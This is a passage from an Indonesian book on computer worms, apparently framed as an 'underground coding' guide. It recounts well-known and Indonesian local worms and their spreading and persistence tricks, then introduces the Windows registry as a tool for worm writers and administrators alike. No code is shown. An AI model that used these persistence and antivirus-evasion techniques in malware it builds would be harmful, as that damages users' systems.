Computer Worm 1 - Secret of Underground Coding : Uncensored

Virus kemudian mencari sebuah key pada registry yang mengandung kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan dirinya kepada 50 penerima yang ada pada address book (buku alamat) aplikasi Outlook. Sebagai tambahan virus menulari file template aplikasi Word "normal.dot" menggunakan fitur VBA macro "Auto Execute", file dokumen yang berasal dari file template tersebut akan membawa serta virus tersebut.

Bab 2. Mengenal Worm

2.5.5 PRETTY PARK


Sebuah worm lainnya menyebar luas dimusim panas tahun 1999. Worm yang dinamakan "PrettyPark" ini menyertakan attachment berupa file "Pretty Park.exe". Tidak ada penjelasan pada attachment, hanya saja file tersebut menggunakan icon bergambar seekor beruang, yang merupakan sebuah karakter pada suatu pertunjukan televisi "South Park". Jika dieksekusi, worm menginstal dirinya ke direktori System Windows dan memodifikasi registry yang membuat worm tersebut aktif saat file ber-ekstensi "exe" apa saja dieksekusi. Hal ini menjadi permasalahan bagi program antivirus, yang tentunya juga ber-ekstensi "exe". Worm juga mengirimkan salinan dirinya pada alamat e-mail yang ada pada buku alamat Windows. Pretty Park kemudian berusaha mengirimkan beberapa data system dan password pada sebuah server IRC (internet relay chat) tertentu, terakhir dilaporkan bahwa worm ini memasang suatu backdoor.

2.5.6 EXPLORE ZIP


Pada bulan Juni tahun 1999, muncul sebuah worm bernama "ExploreZip" yang menyamar sebagai file zip (file terkompresi) dalam attachment sebuah e-mail yang jika dieksekusi akan menampilkan pesan kesalahan. ExploreZip secara diam-diam menyalin dirinya kedalam direktori System Windows dan memodifikasi registry.

Jasakom

14

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan salinan dirinya. Bab 2. Mengenal Worm pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan menghasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cukup merepotkan pengguna komputer di Indonesia. Salah satu metode penyebarannya menggunakan e-mail yang memiliki attachment berupa file ZIPPED_FILES.EXE saat file ini dieksekusi maka worm menginstal dirinya sendiri pada system Windows. Worm ini meng-overwrite (menimpa) file dokumen dengan ekstensi DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Powerpoint), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga file-file tersebut sulit untuk diselamatkan.

2.5.7 BUBBLE BOY


Awal tahun 2000, muncul sebuah virus yang membawa sebuah konsep baru "BubbleBoy". Virus ini menunjukkan bahwa sebuah komputer dapat tertular hanya dengan melihat e-mail, tanpa harus membuka pesannya. Virus ini mengambil keuntungan dengan adanya celah keamanan pada aplikasi Internet Explorer, yang secara otomatis mengeksekusi script Visual Basic yang terdapat pada body e-mail. Virus akan datang sebagai sebuah e-mail dengan subjek "BubbleBoy is back", pesan berbentuk file HTML dan mengandung script virus dalam bahasa Visual Basic. Jika menggunakan aplikasi Outlook, script tersebut akan dijalankan walaupun yang dilakukan hanya preview. File tersebut akan ditambahkan pada direktori StartUp Windows, sehingga apabila komputer dihidupkan virus akan berusaha mengirimkan dirinya pada setiap alamat yang ada pada address book aplikasi Outlook. Diwaktu yang hampir bersamaan, worm "KAK" tersebar dengan cara yang serupa.

15

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.5.8 LOVE LETTER


Dibulan Mei 2000, lajunya penyebaran worm "LoveLetter" menunjukkan efektifitas serangan dengan metode social engineering, yang hingga saat ini sudah menjadi suatu kebiasaan suatu worm dalam penyebarannya. E-mail yang berisi worm ini memiliki subjek "I Love You" yang berarti "Saya Cinta Kamu" dan berisi pesan-pesan yang mendorong user untuk mengeksekusi attachment yang merupakan worm tersebut. File attachment berupa Visual Basic Script yang bisa dieksekusi dengan Windows Script Host (bagian dari Windows98, Windows2000, Internet Explorer 5, atau Outlook 5). Ketika dieksekusi, LoveLetter menginstal dirinya kedalam direktori System Windows dan memodifikasi registry untuk memastikan bahwa worm akan aktif saat komputer dihidupkan. Ketika komputer lainnya terinfeksi, dan jika aplikasi Outlook terinstal pada komputer tersebut, maka worm akan mengirimkan salinannya pada siapa saja yang ada pada address book aplikasi Outlook. Sebagai tambahan worm akan membuat koneksi IRC dan mengirimkan salinan dirinya pada siapa saja yang bergabung pada saluran IRC tersebut. LoveLetter juga memiliki kemampuan untuk mencuri password. Dengan mengubah home page (alamat url yang akan diakses pertama kalinya) pada Internet Explorer ke suatu website di Asia, worm akan mengusahakan agar suatu trojan horse di download dari website tersebut, dimana trojan horse tersebut akan mengumpulkan password e-mail dan mengirimkannya ke suatu alamat di Asia.

Bab 2. Mengenal Worm

2.5.9 HYBRIS
Dibulan Oktober 2000, worm Hybris menyebar dengan e-mail berattachment. Jika dieksekusi akan memodifikasi file WSOCK32.DLL dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap e-mail yang terkirim worm akan mengirimkan salinan dirinya ke alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa men-download file update untuk dirinya sendiri dari newsgroup "alt. comp.virus" metode yang digunakan termasuk canggih dan sangat berbahaya karena payload worm tersebut bisa diubah kapan saja.
Jasakom

16

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2.5.10 ANNA KOURNIKOVA


Pada bulan Februari 2001, kembali sebuah worm mencemaskan para pengguna internet, yang memanfaatkan kepopuleran seorang petenis asal Rusia "Anna Kournikova". Worm ini dibawa dalam suatu attachment e-mail yang menyatakan bahwa lampiran tersebut adalah file gambar dalam bentuk file jpg yang memuat foto pemain tenis tersebut. Apabila file tersebut dieksekusi maka akan mengirimkan salinan dirinya kepada setiap nama yang terdaftar pada buku alamat Microsoft Outlook.

2.5.11 SADMIND
Pada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan 2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan menjadi teladan untuk worm berikutnya yang bisa melakukan serangan dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah meng-eksploitasi vulnerability buffer overflow pada sistem operasi Sun Solaris, dan menginstal suatu program agar bisa melakukan komunikasi dengan IIS webserver guna melakukan suatu serangan. Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001, yang menunjuk sebagai vulnerability pada Index Server ISAPI.

2.5.12 CODE RED


Memanfaatkan vulnerability pada Index Server ISAPI tersebut, pada tanggal 12 Juli 2001 muncul sebuah worm dengan nama "Code Red" yang menyerang semua IIS webserver, dengan aksi mengubah tampilan awal website pada server yang tertular. Pertama kali worm menginstal dirinya pada system, membaca IP system dan dari IP tersebut worm menyusun 99 IP baru, kemudian melakukan pemeriksaan sistem operasi pada IP yang berhasil disusunJika worm menemukan sebuah IP target menggunakan sistem operasi

17

Jasakom

Bab 2. Mengenal Worm

Computer Worm 1 - Secret of Underground Coding : Uncensored

Microsoft Windows maka worm akan meng-eksploitasi server target tersebut, dan melakukan deface (mengubah halaman awal suatu website) dengan tampilan "Welcome to the www.worm.com ! hacked by Chinese!." Berikutnya worm mencari file c:\notworm. Worm tidak akan menghentikan serangannya jika file tersebut tidak ditemukan. Pada tanggal 20 Juli worm akan melakukan serangan DOS (denial of service) pada server www.whitehouse.gov, kemudian pada tanggal 27 worm membuat dirinya dalam kondisi dormant (fase saat worm menjadi tidak aktif) secara permanen. Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang merupakan versi kedua dari worm Code Red dengan penyebaran yang lebih cepat. Banyak perbaikan pada program worm sehingga mampu menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti versi pertama worm ini juga membuat dirinya dalam kondisi dormant pada tanggal 20 Juli secara permanen. Di bulan Agustus 2001, kembali Code Red muncul dengan versi berbeda "Code Red II", muncul dengan payload yang sangat berbahaya. Worm ini masih memanfaatkan vulnerability yang sama dengan versi sebelumnya, sedikit perubahan pada program, worm ini akan membuat suatu trojan "explorer.exe" dan ditempatkan pada direktori root. Bab 2. Mengenal Worm

2.5.13 NIMDA
Tanggal 18 September 2001, worm Nimda adalah worm yang termasuk paling banyak menginfeksi komputer di Indonesia, muncul dengan memuat payload yang sangat berbahaya dan menggunakan beragam cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian sebesar US $ 370 juta. Walaupun worm ini tidak menggunakan metode baru dalam penyebarannya, tetapi dengan penggabungan beberapa metode dalam suatu worm, menunjukkan adanya tingkatan baru atas kompleksitas yang tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan mengirimkan salinan dirinya melalui e-mail dengan subjek random (acak) dan sebuah file attachment "readme.exe".
Jasakom

18

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Nimda memanfaatkan celah keamanan pada Internet Explorer dan Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang dikirimkan Nimda berupa halaman html yang memiliki body script tertentu dengan tujuan akan secara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Bab 2. Mengenal Worm Bila komputer terinfeksi berada dalam suatu jaringan maka secara otomatis Nimda mencari direktori yang di sharing dari komputer lain dan memberikan hak tulis penuh (full access) kemudian membuat salinan dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama file secara random pada daftar file yang ada pada komputer terinfeksi, dengan menggunakan ekstensi EML atau NWS. Pada server yang terinfeksi, file-file halaman web akan disisipkan script baru yang secara otomatis mengakses file readme.eml saat halaman web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaatkan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind. Banyaknya perubahan pada file system dan registry membuat worm ini sulit untuk dibersihkan.

2.5.14 BADTRANS.B
Pada bulan November 2001, BadTrans kembali beraksi setelah kemunculan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih canggih dan bisa dikatakan sebagai era baru dalam social engineering. BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan mencari e-mail yang belum dibuka oleh user, kemudian membalas e-mail tersebut dengan file attachment berupa salinan dirinya sendiri. Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan secara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas) maka e-mail balasan tersebut tidak akan sampai pada alamatnya. BadTrans.B akan menginstal suatu program trojan yang akan mencuri user name dan password kemudian mengirimkannya pada suatu alamat e-mail tertentu, dilaporkan worm ini mengakibatkan kerugian sebesar US $ 210 juta.

19

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.5.15 KLEZ
Worm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi dengan sendirinya walau hanya dilihat pada preview pane saja. Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez menyatukan suatu keunikan dengan pendekatan sosial yang inovatif, dengan memilih salah satu alamat e-mail yang ada pada komputer terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim, kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang yang benar-benar dikenal oleh penerima. Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm tersebut. Klez.d memiliki rutin baru yang akan memeriksa database alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat dieksekusi worm menginstal dirinya kedalam direktori System Windows dengan nama file "WinSvc.exe" dan melakukan modifikasi pada registry sehingga worm akan aktif saat komputer dihidupkan. Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya kedalam direktori System Windows dengan nama file "WINK???.EXE", dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez. d worm ini juga memodifikasi registry dengan alasan yang sama, Selain itu worm ini juga telah dipersenjatai dengan pembunuh program antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan Fun Love. Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attachment dan penerima diajarkan untuk menon-aktifkan antivirus mereka agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk tersebut, dan saat attachment tersebut dieksekusi maka sebenarnya user malah menginstal Klez serta virus ElKern pada komputer mereka. Klez merupakan salah satu worm yang memiliki siklus hidup terpanjang, yang pernah mengacaukan dunia internet. Pertama kali dilaporkan pada bulan Oktober 2001, dan mendominasi pada tahun 2002 sebagai worm yang paling lazim di internet. Bab 2. Mengenal Worm

Jasakom

20

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman, walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US $ 9 milyar.

2.5.16 SLAMMER
Serangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir sama dengan CodeRed, dan tidak memodifikasi registry. Slammer memanfaatkan vulnerability yang ditemukan oleh Next Generation Security Software Limited pada bulan Juli 2002 dimana dengan memanfaatkan vulnerability ini, penyerang dapat menguasai SQL Server dan kode pemrograman yang berhasil dimasukkan akan berjalan sebagai system karena hak dari MS SQL Server di dalam komputer adalah system. Worm ini bukan merupakan mass mailer dan hanya menyebarkan dirinya melalui scanning port 1434.

2.5.17 BAGLE
Di minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal dari Jerman ternyata sukses meraih peringkat pertama sebagai worm yang paling banyak dihentikan. Worm yang kemudian diketahui bernama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle memasuki fase dormant secara permanen pada tanggal 28 Januari 2004 dan berusaha untuk menghapus file launcher-nya. Bagle memiliki ukuran file sebesar 15 Kb, dan melakukan penyebaran dengan cara mengirimkan file infector melalui e-mail ber-attachment, dengan tujuan pengiriman yang dikoleksi dari file-file berekstensi txt, htm, html dan wab pada sistem lokal. Saat file infector dieksekusi, Bagle membuat salinan file worm pada direktori System Windows, kemudian memanipulasi registry agar worm tereksekusi setiap kali Windows startup.

21

Jasakom

Bab 2. Mengenal Worm

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.5.18 NETSKY
Tidak begitu lama setelah kemunculan worm Bagle, sebuah worm lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky melakukan penyebaran dengan cara yang sama seperti yang dilakukan worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memungkinkan dirinya dapat melakukan penyebaran dengan menggunakan media aplikasi peer to peer. Netsky mengirimkan salinan dirinya melalui sebuah e-mail ber-attachment dan dalam bentuk file terkompresi. File worm berukuran sebesar 22 Kb dan menggunakan icon yang disamarkan sehingga terlihat sebagai sebuah file dokumen Microsoft Word. Saat file infector dieksekusi Netsky membuat salinan file worm pada direktori Windows dengan nama file 'services.exe, kemudian memanipulasi beberapa nilai registry yang bertujuan agar worm dapat tereksekusi setiap kali Windows startup.

Bab 2. Mengenal Worm

2.6 PERKEMBANGAN WORM LOKAL


Berikut ini beberapa catatan singkat tentang worm lokal yang pernah ada dan dibuat oleh worm writer asal Indonesia.

2.6.1 I-WORM PERKASA


Pada bulan 6 Desember 2001 muncul sebuah worm lokal. Worm yang terkompresi dengan UPX ini memiliki ukuran sebesar 12,288 Kb dan dibuat dengan menggunakan program Visual Basic. Worm yang juga disebut dengan nama I-Worm.Imelda atau I-Worm Updater ini menggunakan media Microsoft Outlook dalam penyebarannya, saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'UPDATE.EXE, kemudian menambahkan suatu nilai registry pada sub key 'Run agar worm ini tetap aktif saat Windows startup.

Jasakom

22

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2.6.2 PESIN
Worm lokal lainnya muncul dipertengahan bulan September 2003 dengan menggunakan icon Microsoft Word. Worm yang terkompresi dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan, Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena worm Pesin menggunakan nama-nama tersebut sebagai nama dari file infector. Worm Pesin menggunakan media disket dalam proses penyebaran, hal ini sangat efektif mengingat penggunaan disket masih sangat diminati oleh pengguna komputer di Indonesia. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'SysTask.exe, Pesin juga membuat salinan pada direktori My Documents dengan nama file 'MyHeart.exe kemudian menambahkan suatu nilai registry pada sub key 'Run agar worm ini tetap aktif saat Windows startup, yang menarik dari worm ini adalah worm akan menonaktifkan program Registry Editor jika user berusaha untuk menjalankannya.

2.6.3 TABARU
Pada awal januari 2005 kembali diketahui sebuah worm lokal yang membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu Riyanni Djangkaru. Worm ini memiliki ukuran file sebesar 40 Kb dengan icon yang disamarkan sehingga terlihat seperti file jpg. Saat file infector dieksekusi worm membuat dua file, yaitu file 'xpshare.exe pada direktori 'C:\!submit dan file 'riyani_jangkaru.exe pada root direktori C:\, kemudian menambahkan value 'winloader pada registry run yang akan mengaktifkan worm setiap Windows startup. Hanya saja worm ini baru banyak dikenal pada pertengahan Juli 2005.

23

Jasakom

Bab 2. Mengenal Worm

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.6.4 KANGEN
Pada pertengahan April 2005, suatu worm lokal kembali meresahkan pengguna komputer, dengan berbekal refrain lagu Kangen (Dewa 19) worm ini sukses menginfeksi ratusan komputer di Indonesia. Seperti worm lokal terdahulu, Kangen juga dibuat dengan Visual Basic, menggunakan icon Microsoft Word dan melakukan penyebaran lewat disket, anehnya worm satu ini sama sekali tidak dikompresi J. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'CCAPPS.EXE dengan ukuran file sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha menonaktifkan program Task Manager, MS Config dan Registry Editor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.

Bab 2. Mengenal Worm

2.6.5 KUMIS
Diawal bulan Juli 2005, seorang worm writer yang konon terinspirasi oleh seorang dosennya yang berkumis tebal membuat worm yang kemudian disebut dengan worm Kumis. Worm ini berukuran sebesar 76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Windows Server 2003. Saat file infector dieksekusi worm ini membuat salinan dirinya ke direktori System Windows dengan nama 'username logon.exe dimana username adalah nama user aktif, kemudian memanipulasi registry agar worm tetap aktif. Menariknya, worm kumis ini akan me-restart komputer setiap kali Windows startup.

Jasakom

24

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2.6.6 DECOIL
Worm Decoil yang juga sering disebut Decoy ini muncul di penghujung tahun 2005, worm lokal ini menyembunyikan file dokumen Microsoft Word dan membuat salinan dengan nama yang persis dengan nama file yang disembunyikan. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'lExplorer.exe, pada direktori System Windows dan sub direktori '\i75-d2 dengan nama file 'dkernel.exe. Decoy tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb (besar file ini setelah dikompres dengan UPX). Bab 2. Mengenal Worm

2.6.7 RONTOKBRO
Diawal bulan Oktober 2005, pengguna komputer di Indonesia kembali dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp sendiri dalam mengirimkan file infector-nya dan selektif dalam pemilihan alamat e-mail target. Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga memblokir aplikasi Registry Editor dan memonitor caption pada aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro maka komputer akan di-restart secara otomatis.

2.6.8 NOBRON
Tidak begitu lama setelah kemunculan RontokBro, worm yang kemudian dikenali dengan nama W32/Nobron.A@mm oleh Norman Virus Control ini berusaha untuk membersihkan system dari worm RontokBro, Nobron memiliki ukuran file sebesar 84 Kb. Worm juga berusaha untuk menonaktifkan aplikasi Registry Editor, MS Config, Task Manager dan CMD. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'MsPatch.exe, selain itu Nobron juga membuat salinan ke setiap root dari masing-masing drive termasuk USB Flash Disk dengan nama file 'foto administrator.exe.

25

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.6.9 RUNITIS
Pada akhir bulan Nopember 2005, kembali diketahui sebuah worm lokal dengan ukuran file sebesar 164 Kb dan telah dikompres dengan aplikasi ASPack. Worm ini menggunakan nama yang diambil dari nama seorang penyanyi dari Malaysia yaitu Siti Nurhaliza (Runitis jika dibaca terbalik menjadi Sitinur). Runitis menggunakan icon Internet Explorer dalam penyebarannya. Worm ini menghapus file program regedit.exe (Registry Editor), msconfig.exe (MS Config), wmplayer.exe (Windows Media Player), winamp.exe dan winampa. exe (Winamp) serta beberapa file program lainnya kemudian membuat salinan dirinya dengan nama dan letak yang sama, sehingga user malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi tersebut.

Bab 2. Mengenal Worm

2.6.10 BLUEFANTASY
Di akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy ikut berlomba dengan worm lainnya, walaupun worm yang berukuran 68 Kb ini tidak melewati proses enkripsi dan kompresi namun BlueFantasy mempertahankan ciri khas worm komputer yang membuat banyak salinan, dengan cara memonitor direktori aktif dan membuat salinan pada direktori tersebut. Saat file infector dieksekusi BlueFantasy meng-copy dirinya ke direktori System Windows dengan nama file 'Win32.com dan menggunakan atribut Hidden, selain itu worm juga membuat salinan pada direktori Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi suatu nilai registry yang akan membuat file worm tetap tereksekusi saat Windows startup, dan membuat type file executable seperti exe dan scr akan terlihat sebagai aplikasi Microsoft Word.

Jasakom

26

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2.6.11 ROMDIL
Pertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti kebanyakan worm lokal, worm inipun dibuat dengan menggunakan bahasa Visual Basic. Worm Romdil memiliki ukuran file sebesar 40 Kb untuk varian A dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon dengan gambar Folder, dan disamarkan sebagai file aplikasi Windows Explorer. Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah user mengeksekusi aplikasi CMD (command prompt), MS Config, Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti Search dan Run. Bab 2. Mengenal Worm

2.6.12 MYBRO
Di bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali di-release dan diperkirakan dibuat dengan menggunakan bahasa C. MyBro memiliki ukuran file sebesar 51 Kb dan menggunakan icon dengan gambar Folder. Worm MyBro diperkirakan menggunakan / meniru source code worm yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan mudah oleh teknologi SandBox dari Norman Virus Control. Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG, Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk menghapus file Microsoft Visual Basic Virtual Machine yang akan menggagalkan proses untuk setiap aplikasi yang dibuat dengan menggunakan bahasa Visual Basic, serta melakukan blocking ke beberapa situs tertentu.

27

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.6.13 IRCBOT.AQF
Dibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006, worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini tidak berusaha untuk mematikan proses Task Manager ataupun Registry Editor sebagai metode life defender, namun sebagai gantinya IRCBot menggunakan metode Watcher yang terbilang masih baru pada awal tahun 2006, yang akan me-restart komputer jika proses salah satu file launcher dimatikan. File worm berukuran 32 Kb dan menggunakan icon file dokumen Microsoft Word.

Bab 2. Mengenal Worm

2.6.14 LIGHTMOON
Worm dengan nama sebutan yang bisa memiliki arti sebagai bulan purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi yang terinspirasi dari bulan purnama. LightMoon menggunakan icon folder dan memiliki ukuran file sebesar 39 Kb, umumnya memiliki beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja LightMoon ini akan mengalihkan akses dari fungsi MS Config, Registry Editor, Task Manager dan Command Prompt pada file launcher worm, sehingga user malah mengeksekusi worm tersebut apabila menjalankan salah satu fungsi tersebut.

Jasakom

28

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 3 REGISTRY WINDOWS


Bab 3. Registry Windows

Kenapa bab ini ada?

Dalam sistem operasi Microsoft Windows, keberadaan registry menjadi sangat vital karena registry menyimpan pengaturanpengaturan baik oleh sistem operasi itu sendiri maupun program aplikasi yang terinstal. Keberadaan registry menjadi suatu keuntungan bagi worm writer untuk membuat suatu worm tetap aktif saat komputer dihidupkan, bahkan dengan registry pula suatu worm bisa melumpuhkan program yang bisa membahayakan worm tersebut. Sebaliknya dengan memiliki pengetahuan tentang registry, seorang administrator sistem akan lebih mudah dalam menangani worm, bahkan tidak sesekali penulis temukan bahwa hanya dengan menghapus registry milik suatu worm, ternyata mampu melumpuhkan worm tersebut.

29

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

R
XP. Bab 3. Registry Windows

egistry adalah suatu database yang digunakan untuk menyimpan pilihan dan pengaturan pada system Microsoft Windows versi 32 bit yang mencakup Windows 95, 98, ME, NT/2000 dan

Registry berisi pengaturan dan informasi untuk semua hardware (perangkat keras), software (perangkat lunak), user (pengguna), dan pilihan-pilihan yang berkaitan dengan komputer tersebut. Ketika user melakukan perubahan pada pengaturan control panel, atau asosiasi file, system policies, atau menginstall suatu software, maka perubahan tersebut akan tersimpan di registry. File data pada registry disimpan dengan cara yang berbeda dan tergantung pada versi Windows yang digunakan. Pada Windows 95 & 98 file data terdapat di dua file Hidden di dalam direktori Windows, yaitu file USER.DAT dan SYSTEM.DAT, untuk Windows ME ada suatu tambahan berupa file CLASSES.DAT, sedangkan pada Windows NT/2000/XP file dimasukkan secara terpisah di dalam direktori %Systemroot%\System32\Config. Anda tidak bisa mengubah file ini secara langsung, tetapi harus menggunakan suatu tool yang disebut sebagai Registry Editor untuk membuat perubahan apapun pada registry.

3.1 STRUKTUR REGISTRY


Registry memiliki struktur hirarki yang mirip dengan struktur direktori pada aplikasi Windows Explorer. Masing-masing cabang utama disebut hive. Hive berisi key (kunci) dan masing-masing key bisa berisi key-key yang lain (sub-key), dan key bisa berisikan value (nilai). Value memuat data informasi aktual yang disimpan di dalam registry. Ada tiga jenis data yang umumnya digunakan yaitu; String, Binary, dan DWORD penggunaan masing-masing data ini tergantung pada konteks.

Jasakom

30

Computer Worm 1 - Secret of Undeground Coding : Uncensored

3.1.1 HIVE
Ada enam hive atau cabang utama pada registry, masing-masing berisi suatu porsi spesifik menyangkut informasi yang disimpan di dalam registry tersebut. Adapun hive-hive tersebut adalah sebagai berikut: 1. HKEY_CLASSES_ROOT: hive ini berisi semua informasi tentang file asosiasi untuk mendukung fitur drag-and-drop, informasi OLE, windows shortcuts, dan aspek inti pada tampilan Windows. 2. HKEY_CURRENT_USER: hive ini merujuk pada bagian HKEY_USERS, sesuai dengan user yang sedang aktif dan berisi informasi seperti nama logon, pengaturan desktop, dan pengaturan Startmenu. 3. HKEY_LOCAL_MACHINE: hive ini berisi informasi spesifik komputer tentang jenis hardware, software, dan pilihan-pilihan yang berkaitan dengan komputer tersebut, dan informasi ini digunakan untuk semua user pada komputer itu. 4. HKEY_USERS: hive ini berisi pilihan individu untuk masing-masing user yang menggunakan komputer, masing-masing user diwakili oleh suatu Sid sub-key yang ditempatkan di bawah cabang utama. 5. HKEY_CURRENT_CONFIG: hive ini merujuk pada bagian HKEY_LOCAL_MACHINE, sesuai dengan konfigurasi hardware yang berlaku saat itu. 6. HKEY_DYN_DATA: hive ini merujuk suatu bagian dari HKEY_LOCAL_MACHINE, untuk digunakan dengan fitur plug & play pada Windows, bagian ini bersifat dinamis dan akan berubah ketika suatu alat ditambahkan atau dipindahkan dari system.

3.1.2 VALUE
Masing-masing value disimpan dengan beberapa jenis data, yang paling sering digunakan adalah: 1. REG_BINARY: Jenis ini menyimpan nilai sebagai data biner. Kebanyakan informasi komponen perangkat keras disimpan sebagai data biner, dan dapat dilihat pada sebuah editor dalam format hexadecimal.

31

Jasakom

Bab 3. Registry Windows

Computer Worm 1 - Secret of Underground Coding : Uncensored

2. REG_DWORD: Jenis ini mewakili data dengan empat byte nomor; dan biasanya digunakan untuk nilai-nilai boolean, seperti "0" berarti disabled dan "1" berarti enabled. 3. REG_SZ: Jenis ini adalah suatu string standar, yang digunakan untuk mewakili value yang bisa dibaca manusia.

Bab 3. Registry Windows

3.2 REGISTRY EDITOR (REGEDIT)


Aplikasi Registry Editor adalah suatu tool yang memudahkan kita untuk mengubah pengaturan pada system registry. Registry Editor secara otomatis disediakan saat pertama kali suatu sistem operasi Windows diinstal.

3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR


Anda tidak akan menemukan shortcut-nya pada Startmenu karena aplikasi ini hanya diperuntukan bagi advanced user, yang sedikitnya mengerti tentang registry sehingga tidak menimbulkan hal-hal yang bisa mengakibatkan kerusakan, karena salah mengubah pengaturan pada registry. Untuk membuka aplikasi Registry Editor bisa dengan cara: 1. Klik Startmenu 2. Pilih Run, akan muncul kotak dialog Run, pada TextBox Open ketik 'regedit kemudian klik OK atau tekan tombol enter pada keyboard

